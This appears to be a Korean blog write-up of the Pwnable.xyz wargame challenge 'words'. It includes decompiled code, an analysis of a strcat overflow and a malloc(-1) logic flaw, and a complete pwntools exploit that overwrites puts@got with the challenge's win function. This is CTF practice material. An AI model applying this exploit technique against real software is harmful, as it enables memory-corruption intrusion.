tmxklab

[Pwnable.xyz] words 본문

War Game/Pwnable.xyz

[Pwnable.xyz] words

tmxk4221 2020. 9. 9. 22:32

1. 문제

nc svc.pwnable.xyz 30036

 

1) mitigation 확인

 

2) 문제 확인

  • 어떤 문자열을 계속 이어 붙이는 것 같다.

 

3) 코드흐름 파악

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setup(argc, argv, envp);
  puts("Fill in the missing...");
  while ( 1 )
  {
    print_menu();
    switch ( (unsigned __int64)(unsigned int)read_int32() )
    {
      case 1uLL:
        fill_letters();
        break;
      case 2uLL:
        fill_numbers();
        break;
      case 3uLL:
        fill_handles();
        break;
      case 4uLL:
        fill_words();
        break;
      case 5uLL:
        save_progress();
        break;
      default:
        puts("Invalid");
        exit(1);
        return;
    }
  }
}
  • 메뉴 1 ~ 4까지 문자열을 복사해서 이어붙이는 기능을 하는데 메뉴 3번의 fill_handles()과 메뉴 5번의 save_progress()만 살펴보도록 하겠다.

 

3-2) fill_handles()

int fill_handles()
{
  unsigned int v1; // [rsp+8h] [rbp-8h]
  unsigned int v2; // [rsp+Ch] [rbp-4h]

  printf(
    "Choose: \n"
    "1. ___ says I suck at math :(.\n"
    "2. The strongest crossfitter in OTA is ___.\n"
    "3. ___ is a neural-network machine-learning AI.\n"
    "4. ___ says \"F*ck Me Dead Mate!!\" when surprised.\n"
    "5. ___ is a cheap imitation of corb0tnik.\n"
    "> ");
  v1 = read_int32();
  printf("Choose: \n1. vakzz\n2. kileak\n3. grazfather\n4. corb3nik\n5. rh0gue\n> ");
  v2 = read_int32();
  if ( v1 == 2 )
  {
    strcpy(a, "The strongest crossfitter in OTA is ");
  }
  else
  {
    switch ( (unsigned __int64)v2 )
    {
      case 1uLL:
        strcpy(a, "vakzz");
        break;
      case 2uLL:
        strcpy(a, "kileak");
        goto LABEL_6;
      case 3uLL:
LABEL_6:
        strcpy(a, "grazfather");
        break;
      case 4uLL:
        strcpy(a, "corb3nik");
        break;
      case 5uLL:
        strcpy(a, "rh0gue");
        break;
      default:
        break;
    }
  }
  switch ( (unsigned __int64)v1 )
  {
    case 1uLL:
      strcat(a, " says I suck at math :(.");
      break;
    case 2uLL:
      switch ( (unsigned __int64)v2 )
      {
        case 1uLL:
          strcat(a, "vakzz");
          break;
        case 2uLL:
          strcat(a, "kileak");
          break;
        case 3uLL:
          strcat(a, "grazfather");
          break;
        case 4uLL:
          strcat(a, "corb3nik");
          break;
        case 5uLL:
          strcat(a, "rh0gue");
          break;
        default:
          return puts(a);
      }
      break;
    case 3uLL:
      strcat(a, " is a neural-network machine-learning AI.");
      break;
    case 4uLL:
      strcat(a, " says \"F*ck Me Dead Mate!!\" when surprised.");
      break;
    case 5uLL:
      strcat(a, " is a cheap imitation of corb0tnik.");
      break;
    default:
      return puts(a);
  }
  return puts(a);
}
  • 해당 함수는 다른 메뉴 1, 2, 4에서 사용되는 함수와 달리 계속 이어붙일 수 있는 부분을 확인할 수 있다.
  • 다른 함수들은 strcpy로 a(전역변수)에 복사한뒤 그 뒤에 strcat으로 문자열을 이어붙여서 overflow가 발생할 수 없지만 여기서는 계속 strcpy없이 strcat을 사용할 수 있다.
  • 처음 if문에서 strcpy를 수행하는데 if문을 우회하면 if문 아래 switch문에서 strcat만 사용할 수 있다. (v1 != 2, v2 != 1 ~5)
  • 즉, v1은 2가 아닌 1, 3, 4, 5로 세팅하면 되고 v2는 1~5가 아닌 값을 넣으면된다.

 

3-3) save_progress()

ssize_t save_progress()
{
  int v1; // [rsp+4h] [rbp-Ch]

  if ( buf )
    return read(0, buf, 0x1000uLL);
  printf("Size: ");
  v1 = read_int32();
  if ( (unsigned int)v1 <= 0xFFF )
  {
    puts("Invalid.");
    exit(1);
  }
  if ( malloc(v1) )
    return read(0, buf, v1);
  buf = &reserve;
  return read(0, &reserve, 0x1000uLL);
}
  • 처음에 buf에 값이 없으므로 처음 if문을 패스하고 v1에 size값을 받는다.
  • v1이 0xfff보다 크거나 같으면 if문을 패스하고 if(malloc(v1))을 수행해서 참이면 buf에 값을 쓰는데 만약에 v1에 -1을 주면 malloc(v1)가 실패해서 if문을 패스한다.
  • 이후에 buf에 reserve의 주소 값을 넣고 read로 reserve에 값을 받는다.

 

전역변수)

  • a : 0x6010da0 → 메뉴 1 ~ 4에서 사용되며 문자열 복사 및 붙여서 저장
  • buf : 0x6010ea0 → save_progress()에서 사용됨
  • reserve : 0x6010ec0 → save_progress()에서 사용됨

 


2. 접근방법

 

코드 분석을 통해서 알 수 있는 사실

  • fill_handles()를 통해 a전역변수에 문자열을 붙여 overflow가능
  • save_progress()에서 비정상적인 로직을 통해 buf에 reserve주소 값 저장

 

1) save_progress()

정상적인 로직이라면 buf에 입력을 받거나 아니면 바로 리턴된다.

	buf = &reserve;
  return read(0, &reserve, 0x1000uLL);

하지만, 정상적인 로직이 아니라면 마지막 부분에 buf에 reserve의 주소 값을 넣고 reserve에 값을 받는다.

(해당 로직이 실행되기 위해서 if문 우회하는 것은 위에서 설명함)

 

이후에 다시 메뉴 5를 실행하면 buf에 값이 존재하므로(reserve주소 값)

  • reserve에 값이 들어간다.

 

이제 대충 buf에는 reserve주소 대신에 got값이 들어가면 될 것 같다. 그러기 위해서 fill_handles()를 통해 a전역변수에 문자열을 계속 이어붙여 buf에 값을 쓸 수 있는데 중요한 것은 원하는 값을 쓸 수 없다.

 

 

2) fill_handles()

strcat은 문자열을 다루는 함수로 문자열을 마지막에 널 값을 붙인다. 따라서, 먼저 buf에 reserve값을 옮겨놓고 널 값을 넣으면 시작 주소가 reserve가 아닌 a전역변수의 어디 부분에 위치하게 될 것이다.

  • 정확히 256byte만큼 a에 이어붙이면 buf에 하위 1byte에 널 값이 들어가서 0x610e00이 된다.

 

공격 프로세스)

  • 메뉴 5 → buf에 reserve값 쓰기
  • a에 256byte만큼 문자열 이어 붙이기 → buf 하위 1byte 널 값으로 변경
  • 메뉴 5 → buf에 puts@got값 쓰기(다시 buf는 puts@got를 가리킴)
  • 메뉴 5 → buf(puts@got)에 win함수 쓰기

 


3. 풀이

 

1) 익스코드

from pwn import *

#context.log_level = "debug"

#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30036)
e = ELF("./challenge")
#gdb.attach(p)
win_addr = e.symbols['win']
puts_got = e.got['puts']

# 1. input buf -> reserve
p.sendlineafter("> ", str(5))
p.sendlineafter("Size: ", str(-1))
p.sendline("AAAA")

# 2. fill val 'a'
p.sendlineafter("> ", str(2))
p.sendlineafter("> ", str(3))
p.sendlineafter("> ", str(2))

p.sendlineafter("> ", str(3))
p.sendlineafter("> ", str(4))
p.sendlineafter("> ", str(6))

for i in range(6):
	p.sendlineafter("> ", str(3))
	p.sendlineafter("> ", str(1))
	p.sendlineafter("> ", str(6))

# 3. buf -> puts@got
p.sendlineafter("> ", str(5))
p.send("A"*0xa0 + p64(puts_got))

# 4. got overwrite
p.sendlineafter("> ", str(5))
p.send(p64(win_addr))

p.sendlineafter("> ", str(10))

p.interactive()

 

2) 실행결과

 


4. 몰랐던 개념

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] child  (0) 2020.09.09
[Pwnable.xyz] car shop  (0) 2020.09.09
[Pwnable.xyz] notebook  (0) 2020.09.09
[Pwnable.xyz] nin  (0) 2020.09.09
[Pwnable.xyz] Dirty Turtle  (0) 2020.09.09
Comments